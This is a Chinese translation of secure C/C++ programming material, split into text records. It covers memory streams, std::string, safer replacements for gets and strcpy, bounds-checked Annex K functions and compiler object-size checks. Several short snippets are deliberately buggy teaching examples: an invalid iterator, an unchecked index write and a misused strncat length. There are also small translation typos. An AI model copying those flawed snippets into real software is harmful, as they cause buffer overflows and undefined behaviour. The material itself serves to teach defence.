    {"text": "fmemopen（）和open_memstream（）函数在<stdio.h>中被声明，如下所示。 1 FILE *fmemopen( 2 void * restrict buf, size_t size, const char * restrict mode 3 ); 4 FILE *open_memstream( 5 char ** restrict bufp, size_t * restrict sizep 6 ); open_wmemstream（）函数是在<wchar.h>中定义的，并具有以下签名： FILE *open_wmemstream(wchar_t **bufp, size_t *sizep); fmemopen（）函数打开一个流，使你可以读取或写入指定的缓冲区。 open_memstream（）函数打开一个面向字节的流来写入一个缓冲区，而open_wmemstream（）函数创建一个面向宽字符的流。"},
    {"text": "通过调用fmemopen（）、open_memstream（）或open_wmemstream（）创建的一个与内存缓冲区相关联的流的输入和输出操作，发生在内存缓冲区的范围内，受限于实现。 对于用open_memstream（）或open_wmemstream（）打开的流的情况，内存区域动态增长，以适应必要的写操作。"},
    {"text": "例2.8 打开一个流来写入内存 01 #include <stdio.h> 02 03 int main(void) { 04 char *buf; 05 size_t size; 06 FILE *stream; 07 08 stream = open_memstream(&buf, &size); 09 if (stream == NULL) { /* handle error */ }; 10 fprintf(stream, \"hello\"); 11 fflush(stream); 12 printf(\"buf = '%s', size = %zu\\n\", buf, size); 13 fprintf(stream, \", world\"); 14 fclose(stream); 15 printf(\"buf = '%s', size = %zu\\n\", buf, size); 16 free(buf); 17 return 0; 18 } 在第10行把字符串“hello”写入到流，并且在第11行刷新该流。"},
    {"text": "fflush（）的调用更新buf和size，以便第12行的printf（）函数输出： buf = 'hello', size = 5 在第13行把字符串\".world\"写入流后，在第14行关闭流。 关闭流的同时也更新buf和size，以便第15行的printf（）函数输出： buf = 'hello, world', size = 12 size是缓冲区的累计（总数）大小。"},
    {"text": "一些安全关键系统在初始化过程中可以利用动态内存分配，但在操作过程中不允许。 例如，航空电子软件在初始化飞机时可以动态地分配内存，但在飞行过程中不允许。"},
    {"text": "未知 2.4.4 C++ std::basic_string 此前我们描述了一个常见的编程漏洞，它使用C++的提取操作符operator>>从标准的std::cin iostream对象读入输入，并写入一个字符数组。虽然设置字段宽度消除了缓冲区溢出漏洞，但它没有解决截断的问题。此外，达到最大字段宽度且输入流中剩余的字符被提取操作符的下一次调用使用时，可能会导致意想不到的程序的行为。 C++程序员可以选择使用在ISO/IEC 14882中定义的标准的std::string类。std::string类是std::basic_string模板在char类型上的一个特化。std::wstring类是st::basic_string模板在wchar_t类型上的一个特化。 basic_string类代表一个字符序列。它支持序列操作以及字符串操作，如搜索和串联，并由字符类型参数化。 basic_string类使用一种动态方法，按需要为字符串分配内存—这意味着在所有的情况下，size（）<=capacity（）。basic_string类很方便，因为语言直接支持这个类。此外，许多现有的库已经使用这个类，这简化了集成工作。 basic_string类实现了“由被调用者分配，由被调用者释放”的内存管理策略。这是最安全的方法，但它仅支持C++。因为basic_string管理内存，所以调用者并不需要担心内存管理的细节。例如，字符串串联的简单处理如下所示。 1 string str1 = \"hello, \"; 2 string str2 = \"world\"; 3 string str3 = str1 + str2; 在其内部，basic_string使用动态分配内存的方法，缓冲区总是自动调整大小以容纳所需的数据，通常是通过调用realloc（）函数。这些方法扩展性优于对应的C函数，而且不丢弃超出的数据。 下面的程序显示了一个解决方案，从std::cin提取字符到一个std::string中，它使用一个std::string对象来代替一个字符数组： 01 #include <iostream> 02 #include <string> 03 using namespace std; 04 05 int main(void) { 06 string str; 07 08 cin >> str; 09 cout << \"str 1: \" << str << '\\n'; 10 } 这个程序简单而优雅，处理了缓冲区溢出和字符串截断问题，并且其行为方式是可预见的。你还有什么想要的呢？ basic_string类比以空字符结尾的字节串更不容易有安全漏洞，但编码错误仍然可能导致的安全漏洞。使用basic_string类时，应考虑的领域之一是迭代器。可以使用迭代器遍历一个字符串的内容，如下所示。 1 string::iterator i; 2 for (i = str.begin(); i != str.end(); ++i) { 3 cout << *i; 4 }"},
    {"text": "未知 2.4.5 使字符串对象的引用失效 修改字符串的操作会使引用、指针和引用字符串对象的迭代器失效，这可能会导致错误。使用无效的迭代器是未定义的行为，并可能会导致安全漏洞。 例如，下面的程序片段试图清洗存储在input字符数组的e-mail地址，再将它传递给命令shell，方法是把以空字符结尾的字节串拷贝到一个字符串对象（email）中，同时把每个分号替换为空格字符，如下所示。 01 char input[]; 02 string email; 03 string::iterator loc = email.begin(); 04 // 复制到 string 对象，同时把\";\" 转换成 \" \" 05 for (size_t i=0; i < strlen(input); i++) { 06 if (input[i] != ';') { 07 email.insert(loc++, input[i]); // 非法迭代器 08 } 09 else email.insert(loc++, ' '); // 非法迭代器 10 } 这段代码的问题是第一次调用insert（）后，迭代器loc失效，以后每次调用insert（）都导致未定义的行为。如果程序员意识到这个问题，就可以很容易地修复这个问题，如下所示。 01 char input[]; 02 string email; 03 string::iterator loc = email.begin(); 04 // 复制到 string 对象，同时把\";\" 转换成 \" \" 05 for (size_t i=0; i < strlen(input); ++i) { 06 if (input[i] != ';') { 07 loc = email.insert(loc, input[i]); 08 } 09 else loc = email.insert(loc, ' '); 10 ++loc; 11 } 在这个版本的程序中，每次插入后，迭代器loc的值都被正确地更新，从而消除了未定义的行为。大部分被检查过的标准模板库（STL）实现都自动检测常见的错误。至少，在使用你的完整测试做预发布测试期间，在单一平台上使用一个被检查过的STL实现来运行你的代码。 basic_string类一般可以防止缓冲区溢出，但仍存在编程错误可能会导致缓冲区溢出的情况。虽然当操作引用字符串的范围之外的内存时，C++一般抛出一个std::out_of_range类型的异常，但是为了使效率最高，下标成员std::string::operator[]（不执行边界检查）不会抛出异常。例如，下面的程序片段在f（）>= bs.size（）时会导致在bs字符串对象分配的存储空间的边界之外的一个写操作。 1 string bs(\"01234567\"); 2 size_t i = f(); 3 bs[i] = '\\0'; at（）方法的行为方式与索引operator[]类似，但如果pos>=size（），它会抛出一个out_of_range异常，如下所示。 1 string bs(\"01234567\"); 2 try { 3 size_t i = f(); 4 bs.at(i) = '\\0'; 5 } 6 catch (out_of_range& oor) { 7 cerr << \"Out of Range error: \" << oor.what() << '\\n'; 8 } 虽然basic_string类一般更安全，但在一个C++程序中使用以空字符结尾的字节字符串一般是不可避免的，除了在罕见的情况下，其中既没有字符串字面值，又没有与接受以空字符结尾的字节字符串的现有库的相互作用。c_str（）方法可以用来生成一个与字符串对象内容相同的以空字符结尾的字符序列，并把它作为一个字符数组的指针返回。 string str = x; cout << strlen(str.c_str()); c_str（）方法返回一个const值，这意味着调用free（）或delet返回的字符串都是一个错误。修改返回的字符串，也会导致一个错误，所以如果你需要修改字符串，就先复制一份，然后修改副本。 未知 2.4.6 使用basic_string的其他常见错误 使用basic_string类的其他常见的错误包括如下内容。 ·使用无效或者未初始化的迭代器 ·传递出界的索引 ·使用实际上不是一个区间的迭代器区间 ·传递一个无效的迭代器位置 Herb Sutter和Andrei Alexandrescu所著的《C++编程规范：101条规则、准则和最佳实践》[Sutter 2005]中详细讨论了这些问题。 最后，许多现有的C++程序和库使用自己的字符串类。要使用这些程序库，你可能需要使用这些字符串类型或不断地来回转换。这种库在安全方面，质量参差不齐。通常最好使用标准库（如果可能），或完全理解所选择的库的语义。一般来说，库应在如下的基础上进行评估：使用的简单或复杂性、可能犯的错误类型、是否容易犯这些错误、潜在的后果可能是什么。 未知 2.5 字符串处理函数 2.5.1 gets（） 如果在C和C++安全编程领域存在一条硬性的规定，那么它一定是永远不要使用gets（）！在本书有漏洞的程序例子中，gets（）函数频频出现。gets（）函数从标准输入读取一行输入到缓冲区中，直到遇到一个换行符或文件结束标志（EOF）为止。它不对缓冲区溢出进行任何检测。以下文字摘自该函数的使用手册： 永远不要使用gets（）。因为除非事先知道数据，否则永远无法确定gets（）将会读入多少字符，而且gets（）会在缓冲区末尾以外继续存储字符，因此对它的使用是极其危险的。使用它只会破坏计算机系统的安全性。 如前所述，gets（）函数已在ISO/IEC 9899：TC3中被弃用并在C11中被删除。 由于gets（）函数不能被安全地使用，因此有必要使用替代的函数，对此有几个不错的选项可用。选择哪个函数主要取决于采取的总体办法。"},
    {"text": "未知 2.5.2 C99 严格符合C99的应用程序的两个选项是用fgets（）或getchar（）取代gets（）。 C标准fgets（）函数和gets（）拥有相似的行为。fgets（）函数接受两个额外的参数：期望读入的字符数和输入流。我们可以通过指定stdin作为输入流来使fgets（）模拟gets（）的行为。 例2.9的程序片段中使用fgets（）函数从stdin中读取一行文本。 例2.9 使用fgets（）从stdin中读取 01 char buf[LINE_MAX]; 02 int ch; 03 char *p; 04 05 if (fgets(buf, sizeof(buf), stdin)) { 06 /* fgets 成功, 扫描查找换行符 */ 07 p = strchr(buf, '\\n'); 08 if (p) { 09 *p = '\\0'; 10 } 11 else { 12 /* 未找到换行符, 刷新stdin 到行尾 */ 13 while (((ch = getchar()) != '\\n') 14 && !feof(stdin) 15 && !ferror(stdin) 16 ); 17 } 18 } 19 else { 20 /* fgets 失败, 处理错误 */ 21 } 与gets（）不同，fgets（）函数保留换行符，这意味着不能将fgets（）作为gets（）的直接替代品。 当使用fgets（）时，可能只读取了一行的部分数据，然而，可以确定用户的输入是否被截断了，因为那样的话，输入缓冲区内将不会包含一个换行符。 fgets（）函数从流中最多读入比指定数量少1个的字符到一个数组中。如果遇到换行符或者EOF标志，则不会继续读取。在最后一个字符读入数组中后，一个空字符随即被写入缓冲区的结尾处。 使用fgets（）可以安全地处理太长而不能在目标数组中存储的输入行，但出于性能方面的原因，不推荐使用它。如果指定的输入字符数超过目标缓冲区的长度，fgets（）函数也可能导致缓冲区溢出。 在严格符合C99标准的应用程序中更换gets（）函数的第二个方法是使用getchar（）函数。getchar（）函数返回stdin指向的输入流中的下一个字符。如果流在EOF处，则该流的EOF标记就会被设置，且getchar（）返回EOF。如果发生读取错误，则该流的错误标记就会被设置，且getchar（）返回EOF。例2.10中的程序片段使用getchar（）函数从stdin中读取一行文本。 例2.10 使用getchar（）从stdin中读取 01 char buf[BUFSIZ]; 02 int ch; 03 int index = 0; 04 int chars_read = 0; 05 06 while (((ch = getchar()) != '\\n') 07 && !feof(stdin) 08 && !ferror(stdin)) 09 { 10 if (index < BUFSIZ-1) { 11 buf[index++] = (unsigned char)ch; 12 } 13 chars_read++; 14 } /* while 循环结束 */ 15 buf[index] = '\\0'; /* 空终结符 */ 16 if (feof(stdin)) { 17 /* 处理 EOF */ 18 } 19 if (ferror(stdin)) { 20 /* 处理错误 */ 21 } 22 if (chars_read > index) { 23 /* 处理截断 */ 24 } 如果在循环结束时，，feof(stdin) ! = 0，则表示循环读取到文件末尾，而没有遇到一个换行符。如果在循环结束时，fferror（stdin） ! = 0，则表示循环在遇到一个换行符之前，发生了读取错误。如果在循环结束时，chars_read > index，则表示输入的字符串已被截断。《C安全编码标准》[Seacord 2008]，“FIO 34-C．使用int捕捉字符IO函数的返回值”，在此解决方案中也适用。 如果写入到没有设定正确的边界的缓冲区中，那么使用getchar（）函数读取一行仍然可能导致缓冲区溢出。 一次读取一个字符在控制行为方面提供了更多的灵活性，而无须额外的性能开销。下面的测试对于while循环通常是足够的： while (( (ch = getchar()) ! = '\\n') && ch ! = EOF ) 参见《C安全编码标准》[Seacord 2008]，“FIO 35-C.在sizeof（int）==sizeof（char）的情况下，用feof（）和ferror（）检测文件结束和文件错误”，这种情况下，必须用feof（）和ferror（）来代替上面的语句的写法。"},
    {"text": "未知 2.5.3 C11附录K边界检查接口：gets_s（） C11的gets_s（）函数是gets（）的一个兼容且更安全的版本。 gets_s（）函数是一个比fgets（）更接近gets（）函数的替代品，它只从stdin指向的流中读取，且不保留换行符。gets_s（）函数接受一个额外的参数，rsize_t，用于指定输入的最大字符数。如果这个参数等于0或者比RSIZE_MAX更大，或者目标字符数组指针为NULL，将产生一个错误条件。如果产生了错误条件，那么将不会有任何的输入动作，并且目标字符数组将不会被更改。否则，该函数最多读入比指定数量少1的字符，并且在最后一个字符读入数组后立即在其后加上空字符。例2.11中所示的程序片段使用gets_s（）函数从stdin中读取一行文本。 例2.11 使用gets_s（）从stdin中读取 1 char buf[BUFSIZ]; 2 3 if (gets_s(buf, sizeof(buf)) == NULL) { 4 /* 处理错误 */ 5 } 如果gets_s（）函数执行成功，则返回一个指向字符数组的指针。如果函数参数无效、遇到文件结束标志、没有字符被读入数组或者在读取过程中发生错误，则返回一个空指针。 只有当gets_s（）函数读取一个完整的行（也就是说，它读取到一个换行符）时，它才执行成功。如果无法读取完整的行，该函数返回NULL，同时把缓冲区设置为空字符串，并清除输入流至下一个换行符。 如果指定的输入字符数超过目标缓冲区的长度，那么gets_s（）函数仍然可能导致缓冲区溢出。 如前所述，fgets（）函数允许正确编写的程序安全地处理太长而不能存储在结果数组的输入行。在一般情况下，这需要fgets（）的调用者注意结果数组中是否存在一个换行字符。当使用gets_s（）处理可能太长的输入行时，需要重写其运行约束处理程序（并在完成时，恢复它的默认值）。如果有任何基于换行符的处理需要，那么考虑使用fgets（）而不是gets_s（）。 未知 2.5.4 动态分配函数 ISO/IEC TR 24731-2描述了来自POSIX的getline（）函数。getline（）函数的行为与fgets（）类似，但提供了一些额外的功能。首先，如果输入行过长，那么该函数使用realloc（）调整缓冲区的大小，而不是截断输入。其次，如果它执行成功，则返回读取的字符数，这对于确定在输入的换行符之前是否有任何空字符是非常有用的。getline（）函数仅适用于使用malloc（）分配的缓冲区。如果传入一个空指针，则函数getline（）会分配一个大小足够容纳输入的缓冲区。因此，随后用户必须明确地用free（）释放该缓冲区。当分隔符等于换行符时，getline（）函数相当于getdelim（）函数（getdelim（）函数也在ISO/IEC TR 24731-2中定义）。例2.12中所示的程序片段使用getline（）函数从stdin中读取一行文本。 例2.12 使用函数getline（）从stdin中读入 01 int ch; 02 char *p; 03 size_t buffer_size = 10; 04 char *buffer = malloc(buffer_size); 05 ssize_t size; 06 07 if ((size = getline(&buffer, &buffer_size, stdin)) == -1) { 08 /* 处理错误 */ 09 } else { 10 p = strchr(buffer, '\\n'); 11 if (p) { 12 *p = '\\0'; 13 } else { 14 /* 未找到换行符, 刷新标准输入至行尾 */ 15 while (((ch = getchar()) != '\\n') 16 && !feof(stdin) 17 && !ferror(stdin) 18 ); 19 } 20 } 21 22 /* ... 对缓冲区进行处理 ... */ 23 24 free(buffer); getline（）函数返回写入缓冲区的字符数目，包括换行符，如果在文件结束前遇到它。如果发生读取错误，流中的错误标记就被设置，函数getline（）返回–1。因此，此函数的设计违反《C安全编码标准》[Seacord 2008]，“ERR 02-C．避免带内错误标志”，因为ssize_t类型是以提供带内错误标志为目的而被创建的。 注意，此代码也没有检查malloc（）是否执行成功。然而，如果malloc（）失败，它返回NULL，这被传递给getline（）函数，getline（）函数将及时地分配它自己的一个缓冲区。 表2.4总结了本节中描述的gets（）的一些替代函数。所有这些函数都可以安全地使用。 表2.4 gets（）的替代函数 未知 2.5.5 strcpy（）和strcat（） strcpy（）和strcat（）函数是缓冲区溢出的频繁来源，因为它们不允许调用者指定目标数组的大小，许多预防策略都建议使用这些函数的更安全的变种。"},
    {"text": "例2.13 动态分配所需的空间 1 dest = (char *)malloc(strlen(source) + 1); 2 if (dest) { 3 strcpy(dest, source); 4 } else { 5 /* 处理错误 */ 6 ... 7 } 为了保证此代码是安全的，必须对源字符串进行充分验证[Wheeler 2004]，例如，要确保该字符串不是过长的。"},
    {"text": "这些函数的原型如下： size_t strlcpy(char *dst, const char *src, size_t size); size_t strlcat(char *dst, const char *src, size_t size); strlcpy（）函数从src复制一个以空字符结尾的字符串到dst（至多复制size个字符）。 strlcat（）函数在dst的末尾附加上以空字符结尾的src字符串（目标缓冲区内的字符数目最多不超过size个）。 为了帮助防止在数组边界外写入，strlcpy（）和strlcat（）函数接受目标字符串的全部长度作为size参数。"},
    {"text": "strlcpy（）和strlcat（）返回它们试图创建的字符串的总长。 对strlcpy（）而言，这个值就是源字符串的长度； 对strlcat（）而言，这个值就是目标字符串（拼接前）和源字符串的长度之和。"},
    {"text": "1 errno_t strcpy_s( 2 char * restrict s1, rsize_t s1max, const char * restrict s2 3 ); 在没有违反任何约束规则的情况下，strcpy_s（）函数与strcpy（）非常类似。"},
    {"text": "strcpy_s（）函数将源字符串中的字符复制到目标字符数组，直至遇到空结束符为止，并且复制的字符包含结尾的空字符。 strcpy_s（）仅在源字符串可被完全复制到目标缓冲区且不引起目标缓冲区溢出的情况下才会调用成功。"},
    {"text": "如果s1或s2是一个空指针、目标缓冲区的最大长度等于0，或大于RSIZE_MAX，或小于或等于源字符串的长度，或者，如果复制操作发生在重叠对象之间，就会发生运行时约束错误。"},
    {"text": "例2.14 Open Watcom的strcpy_s（）函数实现 01 errno_t strcpy_s( 02 char * restrict s1, 03 rsize_t s1max, 04 const char * restrict s2 05 ) { 06 errno_t rc = -1; 07 const char *msg; 08 rsize_t s2len = strnlen_s(s2, s1max); 09 // 验证运行时约束 10 if (nullptr_msg(msg, s1) && // s1 不是 NULL 11 nullptr_msg(msg, s2) && // s2 不是 NULL 12 maxsize_msg(msg, s1max) && // s1max <= RSIZE_MAX 13 zero_msg(msg, s1max) && // s1max != 0 14 a_gt_b_msg(msg, s2len, s1max - 1) && 15 // s1max > strnlen_s(s2, s1max) 16 overlap_msg(msg,s1,s1max,s2,s2len) // s1 与s2 不重叠 17 ) { 18 while (*s1++ = *s2++); 19 rc = 0; 20 } else { 21 // 运行时约束违反, 将目标字符串置空 22 if ((s1 != NULL) && (s1max > 0) && lte_rsizmax(s1max)) { 23 s1[0] = NULLCHAR; 24 } 25 // 现在调用处理程序 26 __rtct_fail(__func__, msg, NULL); 27 } 28 return(rc); 29 } strcat_s（）函数将源字符串中的字符追加到目标字符串的末尾，直至遇到空结束符为止，并且追加的字符包含结尾的空字符。"},
    {"text": "替代函数总结 。 表2.5总结了本节中描述的字符串复制的一些替代函数。 表2.5 字符串复制函数 表2.6总结了一些本节中描述的strcat（）的替代函数。"},
    {"text": "未知 2.5.7 strncpy（）和strncat（） strncpy（）和strncat（）函数与strcpy（）和strcat（）函数是类似的，但每个函数都有一个额外的size_t类型的参数n用于限制要被复制的字符数量。"},
    {"text": "strncpy（）库函数与strcpy（）完成相似的功能，但前者允许指定一个最大大小n： 1 char *strncpy( 2 char * restrict s1, const char * restrict s2, size_t n 3 ); strncpy（）函数的用法如下面的示例所示： strncpy(dest, source, dest_size - 1); dest[dest_size - 1] = '\\0'; 因为strncpy（）函数不能保证用空字符终止目标字符串，所以程序员必须小心，以确保目标字符串是正确地以空字符终止的，并且没有覆盖最后一个字符。"},
    {"text": "然而，strncpy（）容易发生串终止错误，详情见随后介绍的“C11附录K边界检查接口” strncat（）函数具有以下签名： 1 char *strncat( 2 char * restrict s1, const char * restrict s2, size_t n 3 ); strncat（）函数从s2指向的数组追加不超过n个字符（空字符和它后面的字符不追加）到s1指向的字符串结尾。"},
    {"text": "下面是一个实际代码的例子，它是从现有的代码中将strcpy（）和strcat（）简单地变换成strncpy（）和strncat（）函数得到的： strncpy(record, user, MAX_STRING_LEN - 1); strncat(record, cpw, MAX_STRING_LEN - 1); 问题在于strncat（）的最后一个参数不应该是缓冲区的总长度，而应该是调用strncpy（）后缓冲区剩余的长度。"},
    {"text": "下面的调用在使用strncat（）连接字符串之前正确地计算了剩余的空间： strncat(dest, source, dest_size-strlen(dest)-1) 用strncpy（）和strncat（）作为strcpy（）和strcat（）函数替代品的另一个问题是，当结果字符串被截断时，这两个函数都没有提供一个状态代码或报告。"},
    {"text": "strncpy_s（）从源字符串中复制不超过指定数目的连续字符（空字符后面的字符将不被复制）到目标字符数组中。 strncpy_s（）函数具有以下签名： 1 errno_t strncpy_s( 2 char * restrict s1, 3 rsize_t s1max, 4 const char * restrict s2, 5 rsize_t n 6 ); strncpy_s（）函数有一个额外的参数用于给出目标数组的大小，以防止缓冲区溢出。"},
    {"text": "如果空字符终结符不是从源字符串复制的，那么提供的目标结果会另外包括一个空字符终结符。 操作的结果，包括空终结符，必须能够容纳在目标字符串中，否则就会发生运行时约束违反。"},
    {"text": "如果输入参数是无效的，它会返回一个非零值并把目标字符串设置为空字符串。 如果源或目标指针为NULL，或者目标字符串的最大长度为0或大于RSIZE_MAX，则输入验证失败。"},
    {"text": "一个strncpy_s（）操作在其指定复制的字符数量超过目标字符串的最大长度时仍然可能执行成功，前提是源字符串实际包含的字符数目小于目标字符串的最大长度。 如果需要复制的字符数大于或等于目标字符串的最大长度并且源字符串比目标缓冲区长，则该操作将会失败。 因为源字符串中的字符数目受限于n参数，且目标字符串有一个单独的参数用于给出目标数组元素的最大数量，所以strncpy_s（）函数可以安全地复制子串，而不只是整个字符串或它的尾部。 由于意外的字符串截断可能是一个安全漏洞，因此strncpy_s（）不截断源字符串（由空终结符和n参数分隔），以适应目标。"},
    {"text": "如果参数n是目标字符串大小减1，则strncpy_s（）将复制整个源字符串至目标字符串或截断它，以便它能在目标数组中容纳下（一如既往的，结果将是以空字符结尾的）。"},
    {"text": "strncpy_s(dest, sizeof dest, src, (sizeof dest)-1) 虽然OpenBSD的strlcpy（）函数与strncpy（）类似，但它更类似于strcpy_s（），而不是strncpy_s（）。"},
    {"text": "考虑下面的定义： 1 char src1[100] = \"hello\"; 2 char src2[7] = {'g','o','o','d','b','y','e'}; 3 char dst1[6], dst2[5], dst3[5]; 4 errno_t r1, r2, r3; 因为目标字符数组有足够的存储空间，所以下面对strncpy_s（）的调用将r1赋予0值并把序列hello\\0赋值给dst1： r1 = strncpy_s(dst1, sizeof(dst1), src1, sizeof(src1)); 下面的调用给r2赋予0值并把序列“good\\0”赋值给dst2： r2 = strncpy_s(dst2, sizeof(dst2), src2, 4); 然而，没有足够的空间来把src1字符串复制到dst3。 因此，如果以下对strncpy_s（）的调用返回，r3被赋予一个非零值且dst3[0]被赋值'\\0'： r3 = strncpy_s(dst3, sizeof(dst3), src1, sizeof(src1)); 如果用strncpy（）来代替strncpy_s（），目标数组dst3将不会正确地以空结尾。 strncat_s（）函数从源字符串附加不超过指定数目的连续字符（空字符后面的字符将不会被复制）到目标字符数组中。"},
    {"text": "1 errno_t strncat_s( 2 char * restrict s1, 3 rsize_t s1max, 4 const char * restrict s2, 5 rsize_t n 6 ); 如果源或目标指针为NULL，或者目标缓冲区的最大长度等于0或大于RSIZE_MAX，则运行时约束违反发生且strncat_s（）函数返回一个非零值。"},
    {"text": "在目标数组的原始字符串加上从源数组追加的新字符必须在目标数组中能容纳下并以空字符终止，以避免运行时违反约束。 如果发生运行时约束违反，则目标数组被设置为空字符串，以增加问题的能见度。"},
    {"text": "如果空字符终结符不是从源字符串复制的，就会为目标数组另外提供一个空字符终结符。 产生的结果，包括空终结符，必须能在目标数组中容纳，否则就会发生运行时约束违反。"},
    {"text": "因为源字符串的字符数目受限于n参数，且有一个单独的参数用于给出目标数组元素的最大数量，所以strncat_s（）函数可以安全地追加一个子串而不只是整个字符串或它的尾部。 由于意外的字符串截断可能是一个安全漏洞，因此strncat_s（）不截断源字符串（以空终结符和n参数指定的），以适应目标数组。"},
    {"text": "如果参数n为留在目标数组的元素数量减1，那么strncat_s（）将整个源字符串追加至目的地或截断它，以适应目标数组的大小（一如既往的，结果将以空字符结尾）。"},
    {"text": "当dest已满（包括空终结符），或src的所有内容均已附加时，将停止拼接： 1 strncat_s( 2 dest, 3 sizeof dest, 4 src, 5 (sizeof dest) - strnlen_s(dest, sizeof dest) - 1 6 ); 虽然OpenBSD的strlcat（）函数类似于strncat（），但它更类似于strcat_s（），而不是strncat_s（）。"},
    {"text": "strndup（）函数和strdup（）函数的功能相当，在一个新的，看似使用malloc（）分配的内存块中复制提供的字符串，唯一的例外是strndup（）函数最多复制n加1个字节到新分配的内存中，并用空字节终止新字符串。"},
    {"text": "如果字符串的长度大于n，那么只复制n个字节。 如果n大于字符串的长度，那么字符串中的所有字节都被复制到新的内存缓冲区，包括用于终止的空字节。"},
    {"text": "未知 2.5.8 memcpy（）和memmove（） C标准的memcpy（）和memmove（）函数很容易出错，因为它们不允许调用者指定目标数组的大小。 C11附录K边界检查接口 。在C11附录K中定义的memcpy_s（）和memmove_s（）函数，与相应的安全性较低的memcpy（）和memmove（）函数类似，但提供了一些额外的保障。为了防止缓冲区溢出，memcpy_s（）和memmove_s（）函数具有额外的参数来指定目标数组的大小。如果发生运行时约束违反，则目标数组被零填充，以增加问题的能见度。此外，为了减少出现未定义行为情况的数量，如果正在尝试复制重叠的对象，memcpy_s（）函数必须报告约束违反。 memcpy_s（）和memmove_s（）函数如果执行成功则返回0。如果源或目标指针为NULL，或者指定要复制/移动的字符数大于目标缓冲区的最大大小，或者如果要复制/移动的字符数或目标缓冲区的最大大小大于RSIZE_MAX，则返回一个非零值。 未知 2.5.9 strlen（） strlen（）函数没有特别的缺陷，但由于底层字符串表示的弱点，它的操作可能被破坏。strlen（）函数接受一个指向一个字符数组的指针，并返回终止空字符之前的字符数量。如果字符数组不是正确地以空字符结尾的，strlen（）函数可能会返回一个错误的超大的数值，使用它时，就可能会导致漏洞。此外，如果传入一个非以空字符结尾的字符串，strlen（）函数可以越过动态分配的数组的边界读取，并导致程序停止运行。 C99。 C99没有定义strlen（）的替代函数。因此，在开发严格符合C99的程序时，在将字符串传递给strlen（）函数之前，有必要确保它们是正确地以空值结尾的，从而使函数的结果在预期范围内。 C11附录K边界检查接口 。C11提供了一种替代strlen（）的函数—带边界检查的strnlen_s（）函数。另外，对于一个字符指针，strnlen_s（）函数接受一个最大大小。如果字符串的长度超过指定的最大大小，那么返回最大大小，而不是字符串的实际长度。strnlen_s（）函数没有运行时约束。这种运行时约束的缺乏，以及以一个空指针或一个未终止字符串参数返回的值，使得strnlen_s（）在优雅地处理这些异常数据的算法中非常有用。 有一种误解，认为带边界检查的函数总是天生就比相应的传统函数更安全且传统的函数不应该被使用。教条地把对C99函数的调用替换为对带边界检查的函数的调用，这会导致令人费解的代码，而不比使用传统的函数更安全，并且效率低下，难以阅读。例如，要获得一个字符串字面值的长度，教条地使用带边界检查的函数会导致下面这样的愚蠢代码。 #define S \"foo\" size_t n = strnlen_s(S, sizeof S); 在处理可能缺乏结尾的空字符的字符串时，strnlen_s（）函数很有用。该函数返回不含空终止字符的数组中的元素的数量，致使许多计算更直接。 因为C11附录K中定义的带边界检查的函数，不产生不带结束符的字符串，所以在大多数情况下，把对strlen（）函数的调用替换为对strnlen_s（）的调用是不必要的。 strnlen_s（）函数与POSIX的函数strnlen（）是相同的。 未知 2.6 运行时保护策略 2.6.1 检测和恢复 检测和恢复的缓解策略通常要求对运行时环境做出一定的改变，以便可以在缓冲区溢出发生时对其进行检测，以便应用程序或操作系统可以从错误中恢复（或者至少“安全地”失效）。由于在发生缓冲区溢出后攻击者有很多种方式控制程序的执行，因此和预防性策略相比，检测和恢复的策略并不算有效，而且也不应该作为系统唯一可依赖的缓解策略。然而，在最外层的防线被攻击突破的情况下，检测和恢复的策略通常能够形成第二道防线。存在这样一种危险，即程序员可能相信他们通过使用一个不完整的检测和恢复策略已经解决了这个问题，从而使他们对脆弱的软件存在错误的信心。为了避免这种偏见，应采用这种策略，然后忘记它。 缓冲区溢出的缓解策略，可以根据整个系统提供的缓解机制的组件进行分类： ·开发人员通过输入验证 ·编译器及其相关的运行时系统 ·操作系统"},
    {"text": "未知 2.6.2 输入验证 缓解缓冲区溢出的最好方式是防止它们。要做到这点需要开发人员来防止字符串或内存拷贝溢出他们的目标缓冲区。可以通过确保输入数据不超过用来存储它的最小的缓冲区的大小来防止缓冲区溢出。例2.15是一个简单的执行输入验证的函数。 例2.15 输入验证 1 void f(const char *arg) { 2 char buff[100]; 3 if (strlen(arg) >= sizeof(buff)) { 4 abort(); 5 } 6 strcpy(buff, arg); 7 /* ... */ 8 } 任何到达某个跨越信任边界的程序接口的数据都需要验证。这类数据的例子包括main（）函数的argv和argc参数、环境变量，以及从套接字、管道、文件、信号、共享内存和设备中读取的数据。 虽然这个例子只涉及字符串的长度，但还有许多其他类型的验证可以执行。例如，要被发送到SQL数据库的输入，将需要验证，以检测和防止SQL注入攻击。如果输入最终可能会跳到一个网页，那么它也应该被验证，以防止跨站点脚本（Gross-Site Scripting XSS）攻击。 幸运的是，输入验证适用于所有类别的字符串漏洞，但它需要开发人员正确识别和验证可能会导致缓冲区溢出或其他漏洞的所有外部输入。因为这个过程很容易产生错误，为谨慎起见，这个缓解策略通常需要与其他策略（例如，用更安全的函数替换可疑的函数）结合使用。"},
    {"text": "为了说明这一点区别，考虑下面的代码： struct V { char buf1[10]; int b; char buf2[10]; } var; void *ptr = &var.b; 如果把ptr传给__builtin_object_size（）并把type设置为0，那么返回值是从var.b到var的末尾所包括的字节数量。 （此值将至少等于sizeof（int）加上buf2数组的大小10）然而，如果type为1，则返回值为从var.b到var.b的末尾（包括它）所包括的字节数（即，sizeof（int））。 如果__builtin_object_size（）无法确定指向的对象的大小，如果第二个参数是0或1，那么它返回（size_t）-1。 如果第二个参数是2或3，那么它返回（size_t）0。"},
    {"text": "当_FORTIFY_SOURCE已定义时，__builtin_object_size（）函数用来为以下标准函数添加轻量级的缓冲区溢出保护： memcpy() strcpy() strcat() sprintf() vsprintf() memmove() strncpy() strncat() snprintf() vsnprintf() memset() fprintf() vfprintf() printf() vprintf() 许多支持GCC的操作系统在默认情况下打开检查对象大小。"},
    {"text": "1 __attribute__ ((__nothrow__)) memcpy( 2 void * __restrict __dest, 3 __const void * __restrict __src, 4 size_t __len 5 ) { 6 return ___memcpy_chk( 7 __dest, __src, __len, __builtin_object_size(__dest, 0) 8 ); 9 } 当使用memcpy（）和strcpy（）函数时，下列行为是可能的： 1.下面的案例已知是正确的： 1 char buf[5]; 2 memcpy(buf, foo, 5); 3 strcpy(buf, \"abcd\"); 不需要进行运行时检查，因此调用memcpy（）和strcpy（）函数。 2.下面的案例，不知道是否正确，但可在运行时检查： 1 memcpy(buf, foo, n); 2 strcpy(buf, bar); 编译器知道对象中剩余的字节数，但不知道实际会复制的长度。"},
